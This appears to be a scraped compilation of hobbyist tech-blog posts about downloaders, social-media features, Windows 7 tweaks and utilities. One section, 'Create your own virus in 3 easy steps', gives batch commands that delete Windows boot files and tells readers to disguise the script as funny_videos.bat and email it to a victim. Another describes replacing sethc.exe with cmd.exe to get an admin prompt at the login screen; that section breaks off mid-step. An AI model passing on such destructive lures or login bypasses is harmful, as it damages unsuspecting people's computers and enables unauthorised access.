Download youtube videos easily

You can easily download youtube videos by a simple free application known as Youtube downloader.
It is a software that allows you to download videos from YouTube, Facebook, Google Video, Yahoo Video, and many others and convert them to other video formats.
The program is easy to use, just specify the URL for the video you want to download and click the Ok button!
It also allows you to convert downloaded videos for Ipod, Iphone, PSP, Cell Phone, Windows Media, XVid and MP3.
You can use YouTube Downloader to download the videos of your choice from home, at the office or in school.
 
Enjoy..!! 
 
For technical heads:- The name "YouTube Downloader" is terribly misleading because the program, in fact, downloads a whole lot more than just YouTube videos. On the developer's site, you can find an extensive list of additional supported sites including Facebook and Vimeo. This wide net of support easily pushes YouTube Downloader to the top of its category.
 

Delete all your tweets



If you've made a few tweets you regret over the years and don't really care if the others are saved for proterity, you can delete all the tweets in your twitter account with the TwitWipe webapp.
Its pretty obvious that you can just delete your twitter account completely but that will get rid of everyone you are following and imagine the pain you will need to undertake creating a new account and finding all of them again.

Twitwipe just gets rid of the tweets and leaves everything else intact.If you want to wipe your tweets, just sign into Twitter, visit the TwitWipe link below, and click on the "TwitWipe this Account" button. There will be a confirmation and a disclaimer click and then the webapp beings. Depending on the number of tweets you have to erase and the number of people simultaneously TwitWiping it may take a few hours for all your tweets to be annihilated.

This is an irreversible process so you may need to backup your data before doing so. If you think you may want to save them beforehand go visit Backupify.

Twitter updates twitvid - an effort to change the videos on social sites

Twitter has decided to take their video sharing service, known as Twitvid, and take it in a completely new direction. Now, instead of just being a repository for users to upload videos, like Twitpic, it is a complete video sharing platform. Instead of just posting videos you have created, you can share videos from anywhere on the web, such as YouTube, Vimeo and Twitvid, but they hope to expand the service soon.


As you would expect with a service by Twitter, the main idea is to follow users and keep track of their videos. However, where Twitvid differs is in the “subchannels.” These are channels that users can create that can be followed independently of the user’s overall account. If you have a group of friends who are only interested in a certain type of video, you can create a channel, and direct them to follow that channel only.


Twitter is hoping for Twitvid to become a place for users to watch and discuss videos at the same time. They have implemented a system for users comments to appear along with the video, to facilitate discussion.

The end game here is not for Twitter to beat YouTube, because there is no one that can contest them now. Rather, they are hoping for Twitvid to be a place where videos from other services can live in a social setting.

Facebook Timeline now available for everyone

Facebook's timeline a new way to present your profile has gone live today and is available to all the regular users around the world. But you need to opt in to apply for the new features.

You can get the Facebook timeline from the official page. Click the 'get it now' button and you will be redirected to a page that will view your timeline profile. Once enabled you need to setup everything. The profile is available for 7 days after which it will go live to all the audience around the world. In these 7 days you can tinker with the design and choose which posts to display and which ones to hide.
If you are satisfied by the changes you can PUBLISH the profile right now and it will be public.

There are several new features with the Facebook timeline.
  • Earlier you could hide or delete your status updates. Now you can even highlight the updates you would like other people to notice.
  • You profile now contains a profile cover apart from the profile picture. This can be used to express your style/mood/professional front.
  • You will find a feature 'Activity Log' on your timeline profile. This log shows all your activities done by you ever since you were born on Facebook. So you might want to hide some of them.
  • There are several new rules like who can post to your timeline and who cant and so its worth reviewing your profile before hitting the publish button.
At last I would like to conclude that Facebook has kept your privacy settings intact but its never a bad option to go through the options once again.

Try the Facebook timeline now..personally I find it the best Facebook product till date.

Here's a preview of my profile after applying the update. :)

Return Visit-Aware

Return visit aware: the future of networking knows what you have consumed.
Personally I don't know how many people have noticed this return visit functionality of Facebook.

We all remember Facebook had two tab earlier. 'Most Recent' & 'Top News' stream.
Users who used to login once in a day preferred the top news stream whereas returning users viewed the most recent stream to get the latest updates from their friends and colleagues.

The new layout of Facebook has come out with a great solution regarding this problem.
If you haven't noticed it yet, try it now..

Importance: Facebook had been struggling earlier since most of the users didn't see the two tabs at top and found Facebook to be stale, causing them to leave the site or simply navigated away.
So returning users find new content on the site, which undoubtedly increases traffic on Facebook.
This is what I get on returning to Facebook..




Smart move Facebook as it solved all these problems by aligning its interface with natural human habits.  (deserved the blue Facebook color)

Change the logon screen on Windows 7

Be it screensavers, desktop wallpapers or font type and sizes, visual customization at the OS level is usually important to all kinds of users.
Finally Microsoft has incorporated a new feature in the latest build (7057) of Windows 7 which supports the end user to change the logon screen background without using any hacks or third-party tools.

In previous versions including Windows Vista as well users had to install a third party software like tune-up utilities to change the logon screen. This even slowed the booting time. But in Windows 7 changing the boot screen is as simple as changing the wallpaper..(ok..not that easy)..

Hands On approach:-

This method will require you to modify the registry, no need to freak out..this might be your first registry edit..viola!!


Step 1: Press (Windows Key) + R , to open the RUN dialog box.

Step 2: Type 'regedit' without the inverted commas and press Enter.

Step 3: See the left pane and navigate to:-
HKEY_LOCAL_MACHINE->SOFTWARE->Microsoft->Windows->CurrentVersion->Authentication->LogonUI->Background

Step 4:If the key does not exist, add a new DWORD value with the name OEMBackground. (Right click->New->DWORD)

Step 5: Double click on the entry OEMBackground, and change the value from 0 to 1.

Your registry editor window should look like this.


Step 6: Open Windows Explorer and go to the following path: %windir%\system32\oobe.

Step 7: Create a new folder named info, and open it.

Step 8: Create a new folder within info named backgrounds.

Step 9: In this folder save any image(not larger than 256KB) you would like to appear at your logon screen. Once you save the image in this folder rename it to backgroundDefault.jpg .
I chose this image.


Step 10: Reboot your computer and this should do the trick.. Have fun..!!

I personally changed my logon screen. Here are the actual screenshots.

Try it out...

Create your own virus in 3 easy steps

Creating an elementary virus is very easy if you have the talent to fool your victim. I describe you today an ethical way to create a virus that runs only when deliberately clicked ("ethical").

Step 1.>
Open notepad and type the following lines exactly without any alteration:-

del "C:\WINDOWS\SYSTEM32\bootok" /Q /S >nul
del "C:\WINDOWS\SYSTEM32\bootvid.dll" /Q /S >nul
del "C:\WINDOWS\SYSTEM32\bootvrfy" /Q/S >nul

Your notepad window should look like this:-

These commands delete the bootvid.dll file from your windows directory and therefore will completely disable the booting up of PC next time your victim would start the PC.
This problem can only be solved by re-formatting the entire C drive and re-installing windows.

Step 2.>
File->SaveAs
Save the above notepad file with any filename.bat you think that your victim would open most likely.


I used the name funny_videos.bat and saved the file on my desktop.
It appears as:-


Step 3.>
It is no longer a step. Just e-mail this file or run this file on your victim's computer and it will refuse to start.

CONGRATULATIONS!!! You just created your first virus..

WARNING: NEVER run the file you created on your own system.

Forgetting your password is never any fun, but luckily there’s a really easy way to reset the password. All you need is a copy of the Windows installation disk and one simple command line trick.

Resetting Your Forgotten Windows Password

Boot off the Windows disk and select the “Repair your computer” option from the lower left-hand corner.

Follow through until you get to the option to open the Command Prompt, which you’ll want to select.

First you’ll want to type in the following command to backup the original sticky keys file:
copy c:\windows\system32\sethc.exe c:\
Then you’ll copy the command prompt executable (cmd.exe) over top of the sticky keys executable:
copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
image
Now you can reboot the PC.

Resetting the Password

Once you get to the login screen, hit the Shift key 5 times, and you’ll see an administrator mode command prompt.

Now to reset the password—just type the following command, replacing the username and password with the combination you want:

All New Gmail Featured On Google’s YouTube Channel

All New Gmail Featured On Google’s YouTube Channel:

This image has no alt text



Although this isn’t directly Android related, I think it would be safe to assume we’re all Gmail users. Well, a video introducing the all new Gmail “user experience” appeared on Google’s YouTube channel yesterday. Apparently, Google wasn’t quite ready to unveil the all new Gmail to the world and promptly pulled the video. Thankfully, it wasn’t before a quick ‘Tuber could mirror the video onto their own channel for the world to gawk over.



The new Gmail UI was introduced a few weeks back in the Preview theme and follows the design we’ve seen from Google services like Google+ and Google Calendar. As far as features go, Gmail will have an all new action bar (similar to what we’ve seen in Ice Cream Sandwich) featuring icons instead of text for options like reply, delete and tags. The conversation interface has seen a revamp as well, displaying profile pictures beside contacts, making it easier to read and identify who is saying what in your conversation.



Google also showed off an all new search box with advanced options as well as a layout that readjusts when resizing the window. Like the Preview theme, the new Gmail will feature various display densities and an option for resizing the chat and labels in the sidebar. Lastly, cane all new "high-definition" themes for Gmail.

All in all, I’d say Google did a bang up job on the new Gmail. Who knew Gmail could be so vastly improved, oh that’s right -- Google did. The new Gmail is expected to rollout in the coming weeks but in the meantime, you can check out the pulled YouTube video below.

copy your files faster with tera copy

Ever thought of a file copy manager. Wouldn't it be wonderful if you could just pause file copying, resume it anytime and achieve the entire copying process at a greater speed.

Well, Tera Copy allows you to do so with just a click.
 


Simply drag and drop files to the source location. Then you can select if wish to move the files to a new location or simply copy them.
The software allows shell integration ( that means you can replace it with the operating system's original file copying method).

Believe me it will greatly improve your copying speed. ( I personally received speeds upto 40 MB/s).

You can download the software here.

Make the most out of sticky notes in Windows 7

(1) starter imageAre you addicted to Post-It Notes? Do you use them to remind you of that doctor’s appointment next week or what to pick up at the grocery store for dinner tonight? Windows 7 has its own built-in version of the Post-It Note called Sticky Notes. Sticky Notes act, and even look like, Post-It Notes.
If you are looking for a way to make notes on your computer without restoring to going through a stack of Post-It Notes every week, Sticky Notes can quickly become your new addiction. Sticky Notes is available on the following Windows 7 versions: Enterprise, Home Premium, Professional and Ultimate. They also support touch and pen input if you have a tablet or touch screen PC.
Let’s walkthrough how to use Sticky Notes in Windows 7 and you will see how much easier it is to rely on virtual notes than have your home or office cluttered in colorful reminders everywhere you look.

Click on “Sticky Notes” to open your first one in its original familiar yellow form.
(5) first sticky note opened
You can now type any note you want into the text window. You can resize the Sticky Note by clicking the bottom right-hand corner and dragging it to the size you need.
If you want to change the color of your Sticky Note, you want to right-click in the text box area. You can now choose from a handful of colors. Simply click a color to change it.
(6) change color
If you want to open a new Sticky Note, you want to click the “+” in the upper left-hand corner. This will open a new note next to the original one.
(7) opening multiple sticky notes
These are all the basics you need to know to begin using and taking advantage of Sticky Notes in Windows 7.
Now, you may be wondering if you can format Sticky Notes beyond how they originally load up. The answer is yes, but you will need to utilize keyboard shortcuts to do so. There are no other built-in options in Sticky Notes themselves. It might be a good idea to right these keyboard shortcuts down on a Post-It Note until you memorize them.
Bold Text
CTRL + B
(8) bold text
Italic Text
CTRL + I
(9) italic text
Underlined Text
CTRL + U
(10) underlined text
Strikethrough
CTRL + T
(11) strikethrough
Bullet List
CTRL + SHIFT + L
(12) bullet list
If you want to switch back and forth between list types, you can then click CTRL + SHIFT + L again to make the change. Just keep doing that to your text until you find the type of list you want.
(13) numbered list
You can choose from: Bullets, numbers, lowercase letters, uppercase letters, uppercase Roman numerals and lowercase Roman numerals. If you want to get rid of your list, you can either delete it one bullet at a time or cycle through the type of lists until it is removed for you.
Font Size Increase
CTRL + SHIFT + >
(14) font size increased
You can continue to use this command to increase the size even larger or returning to its original size.
Font Size Decrease
CTRL + SHIFT + <
(15) font size decreased
You can continue to use this command to decrease the size even smaller or returning to its original size.

Most of these features are UN-necessary but still can  keep you glued on for a while...
